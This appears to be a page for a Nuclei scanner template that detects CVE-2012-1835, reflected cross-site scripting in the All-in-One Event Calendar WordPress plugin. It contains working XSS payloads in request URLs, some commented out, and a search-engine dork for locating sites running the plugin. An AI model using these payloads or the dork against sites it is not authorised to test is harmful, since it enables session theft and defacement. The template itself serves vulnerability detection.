WordPress Plugin All-in-One Event Calendar 1.4 - Cross-Site Scripting

ID: CVE-2012-1835

Severity: medium

Author: daffainfo

Tags: cve,cve2012,wordpress,xss,wp-plugin,timely

Description

Multiple cross-site scripting vulnerabilities in the All-in-One Event Calendar plugin 1.4 and 1.5 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) title parameter to app/view/agenda-widget-form.php; (2) args, (3) title, (4) before_title, or (5) after_title parameter to app/view/agenda-widget.php; (6) button_value parameter to app/view/box_publish_button.php; or (7) msg parameter to /app/view/save_successful.php.

YAML Source

id: CVE-2012-1835

info:
  name: WordPress Plugin All-in-One Event Calendar 1.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in the All-in-One Event Calendar plugin 1.4 and 1.5 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) title parameter to app/view/agenda-widget-form.php; (2) args, (3) title, (4) before_title, or (5) after_title parameter to app/view/agenda-widget.php; (6) button_value parameter to app/view/box_publish_button.php; or (7) msg parameter to /app/view/save_successful.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the All-in-One Event Calendar plugin to mitigate the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-1835
    - https://www.htbridge.com/advisory/HTB23082
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-1835
    cwe-id: CWE-79
    epss-score: 0.00919
    epss-percentile: 0.82867
    cpe: cpe:2.3:a:timely:all-in-one_event_calendar:1.4:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: timely
    product: "all-in-one_event_calendar"
    google-query: "inurl:\"/wp-content/plugins/all-in-one-event-calendar\""
  tags: cve,cve2012,wordpress,xss,wp-plugin,timely
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/all-in-one-event-calendar/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'All-in-One Event Calendar'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      #  - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget-form.php?title[id]=%22%3E%3Cscript%3Ealert%28123%29;%3C/script%3E'
      #  - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?args[before_widget]=%3Cscript%3Ealert%28123%29;%3C/script%3E'
      #  - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&before_title=%3Cscript%3Ealert%28123%29;%3C/script%3E'
      #  - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&after_title=%3Cscript%3Ealert%28123%29;%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100eea2efda9ad409790d374aece47125e51c5df172e218ae004eb98f929b15fcb002207ce95b62caee6e5cd49fd046e0c269834a482f788628913687726547811410b0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2012/CVE-2012-1835.yaml"

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